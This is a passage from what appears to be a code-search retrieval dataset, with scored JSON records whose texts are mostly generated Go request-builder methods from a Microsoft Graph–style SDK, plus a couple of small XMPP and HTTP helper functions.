requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "1776258e6e55c6cfca23cca6f8344c12", "score": "0.6052925", "text": "func (m *AssignmentFiltersRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *AssignmentFiltersRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "91b7f68438a060dd3da7889bac3e77df", "score": "0.6049845", "text": "func (m *CasesEdiscoveryCasesItemCustodiansEdiscoveryCustodianItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *CasesEdiscoveryCasesItemCustodiansEdiscoveryCustodianItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "959925bc00a6b97bb925ae7346b6b48e", "score": "0.6046589", "text": "func (m *BookingCurrencyItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *BookingCurrencyItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "a26baf1e8a4e9d8e2e21eaa9b04c979e", "score": "0.6046473", "text": "func (m *PrintersPrinterItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *PrintersPrinterItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3de60ba51c5c2efe493b0edcf624d589", "score": "0.6042913", "text": "func (m *TermsOfUseAgreementsAgreementItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TermsOfUseAgreementsAgreementItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "6f41e27de6d4b95835af4e31259c88b4", "score": "0.6041024", "text": "func (m *ServiceAnnouncementHealthOverviewsServiceHealthItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ServiceAnnouncementHealthOverviewsServiceHealthItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "0647ad7140779a121ee4a80508f43d91", "score": "0.6040373", "text": "func GetInfo(ctx context.Context, node string, to jid.JID, s *xmpp.Session) (Info, error) {\n\treturn GetInfoIQ(ctx, node, stanza.IQ{To: to}, s)\n}", "title": "" }, { "docid": "58704c802498d650a438ba0f6b52c26b", "score": "0.60348713", "text": "func (m *DirectoryRoleAccessReviewPolicyRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *DirectoryRoleAccessReviewPolicyRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9d11942a64220931812f7912659fd5ff", "score": "0.6014971", "text": "func (m *CallRecordsCallRecordItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *CallRecordsCallRecordItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "726d6cffed5f884f624ab16ed47540a0", "score": "0.60084784", "text": "func (m *TermsAndConditionsItemGroupAssignmentsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TermsAndConditionsItemGroupAssignmentsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "46272d2c7cc5f4b65d97388d30daa2e5", "score": "0.6008038", "text": "func (m *VirtualEndpointAuditEventsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *VirtualEndpointAuditEventsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "8511d49a3ad9e1b0a49b32d34f217d45", "score": "0.6006551", "text": "func (m *ItemConnectorGroupsItemApplicationsApplicationItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemConnectorGroupsItemApplicationsApplicationItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "a001755ca322dffae9fa35bc82ce88bc", "score": "0.5982945", "text": "func (m *ExchangeResourceNamespacesUnifiedRbacResourceNamespaceItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ExchangeResourceNamespacesUnifiedRbacResourceNamespaceItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "5a362d408b5a2c0bed96e65c08013e5b", "score": "0.5982144", "text": "func (m *ThreatIntelligenceHostsHostItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ThreatIntelligenceHostsHostItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "443090c33f36cc2d9894d43a8c7315f7", "score": "0.5982071", "text": "func (m *ManagedDevicesItemDetectedAppsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ManagedDevicesItemDetectedAppsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "950716f697b17c15c99de435d93e069f", "score": "0.59751344", "text": "func (m *CompaniesItemPaymentTermsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *CompaniesItemPaymentTermsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3176eb743479e3985f69b72ff3777703", "score": "0.5968733", "text": "func (m *TransitiveMembersRequestBuilder) CreateGetRequestInformation(ctx context.Context, requestConfiguration *TransitiveMembersRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.urlTemplate\n requestInfo.PathParameters = m.pathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers[\"Accept\"] = \"application/json\"\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.AddRequestHeaders(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "7e2495275cdd2c9e61bdbb58d50ff590", "score": "0.59665775", "text": "func (m *TelecomExpenseManagementPartnersTelecomExpenseManagementPartnerItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *TelecomExpenseManagementPartnersTelecomExpenseManagementPartnerItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "e0c3915a4f1a66305cea4884b59e6ee9", "score": "0.59624857", "text": "func (m *ItemRoleAssignmentsItemResourceRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemRoleAssignmentsItemResourceRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "9ce4389952f64d2a16409126f04ae0d0", "score": "0.5962322", "text": "func (m *LabelsCategoriesCategoryTemplateItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *LabelsCategoriesCategoryTemplateItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "b28ef54be34f9df5953d385f0d4a20e2", "score": "0.59594953", "text": "func (m *OnlineMeetingsItemTranscriptsCallTranscriptItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *OnlineMeetingsItemTranscriptsCallTranscriptItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3d29a9760628372090878080b3aeaa10", "score": "0.5953377", "text": "func (m *ItemChannelsItemMessagesItemRepliesItemHostedContentsItemValueContentRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemChannelsItemMessagesItemRepliesItemHostedContentsItemValueContentRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n if requestConfiguration != nil {\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "02f3255d9284666eaebf9e7052c258fd", "score": "0.59462315", "text": "func (r *MessageRequest) Get(ctx context.Context) (resObj *Message, err error) {\n\tvar query string\n\tif r.query != nil {\n\t\tquery = \"?\" + r.query.Encode()\n\t}\n\terr = r.JSONRequest(ctx, \"GET\", query, nil, &resObj)\n\treturn\n}", "title": "" }, { "docid": "72d24dce69c14ff7e424c7f3c81a53cc", "score": "0.59392774", "text": "func (m *CompaniesItemDimensionsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *CompaniesItemDimensionsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "47927e2d22c1a53f8bef9be5a6e96ed6", "score": "0.5937295", "text": "func (m *SensitivityPolicySettingsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *SensitivityPolicySettingsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "3484d0aded039844371a210d975dae9d", "score": "0.5926491", "text": "func (m *ItemListItemsItemActivitiesItemActivityOLDItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemListItemsItemActivitiesItemActivityOLDItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "d7c99f2b33f7431becb415d61b25cfc0", "score": "0.5924963", "text": "func (m *ManagedTenantsManagementTemplateCollectionsRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ManagedTenantsManagementTemplateCollectionsRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "1c3ebb02b06e94657bac41c1e515e215", "score": "0.5922923", "text": "func (m *ItemTeamDefinitionChannelsItemDoesUserHaveAccessuserIdUserIdTenantIdTenantIdUserPrincipalNameUserPrincipalNameRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ItemTeamDefinitionChannelsItemDoesUserHaveAccessuserIdUserIdTenantIdTenantIdUserPrincipalNameUserPrincipalNameRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if requestConfiguration != nil {\n if requestConfiguration.QueryParameters != nil {\n requestInfo.AddQueryParameters(*(requestConfiguration.QueryParameters))\n }\n requestInfo.Headers.AddAll(requestConfiguration.Headers)\n requestInfo.AddRequestOptions(requestConfiguration.Options)\n }\n return requestInfo, nil\n}", "title": "" }, { "docid": "91f1dd59e4dc93c0ed26ebce68700fd5", "score": "0.59227043", "text": "func (m *ForwardingProfilesForwardingProfileItemRequestBuilder) ToGetRequestInformation(ctx context.Context, requestConfiguration *ForwardingProfilesForwardingProfileItemRequestBuilderGetRequestConfiguration)(*i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.RequestInformation, error) {\n requestInfo := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.NewRequestInformation()\n requestInfo.UrlTemplate = m.BaseRequestBuilder.UrlTemplate\n requestInfo.PathParameters = m.BaseRequestBuilder.PathParameters\n requestInfo.Method = i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.GET\n requestInfo.Headers.Add(\"Accept\", \"application/json\")\n if 